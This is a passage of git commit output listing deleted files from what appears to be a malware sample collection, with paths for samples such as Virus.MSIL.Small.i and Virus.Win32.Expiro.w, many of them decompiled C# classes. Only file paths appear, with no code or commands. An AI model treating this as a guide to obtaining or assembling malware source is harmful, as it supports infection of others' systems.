MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Settings.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.csproj delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.sln delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/program.cs delete mode 100644 MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/sex/sex.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/BrowserNavConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CallMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/CommandStateChangeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HDC__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HINSTANCE__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/HWND__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IGNOREMIME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMAGE_AUX_SYMBOL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_NAME_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/IMPORT_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityApplicationManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForVista.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Asn1Utilities.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/AuditLog.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BeginSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BigInt.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/BrowserPolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CancelAsyncOperationRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Canonicalizers.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ClientUIRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CloseCryptoHandleRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CommunicationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Constants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CorruptStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CreateCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelector.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelectorType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CustomTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataBlob.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRow.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRowIndexBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteStoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaimType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedData.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedFileStoreHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedObjectHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptionUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionTranslationTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FailedToStartupUIException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileDataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FreeIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetBrowserTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCardDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCertificateRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetCryptoTransformRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetFileNameResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportFileNameRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetImportedCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetIsBrowserClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetKeyedHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetLedgerRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetPolicyDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/GlobalId.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HandleDictionary`1.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashFinalRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IAccessibilityHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ICanonicalizer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ITokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IdentityValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexObject.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IndexedDataBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCard.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardBinaryReader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardClaimCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMasterKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardRequestException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardSchemas.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardService.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardUIAgent.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardX509Validator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfoCardXmlSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IntermediatePolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidCardException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformation.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlock.cs delete mode 100644 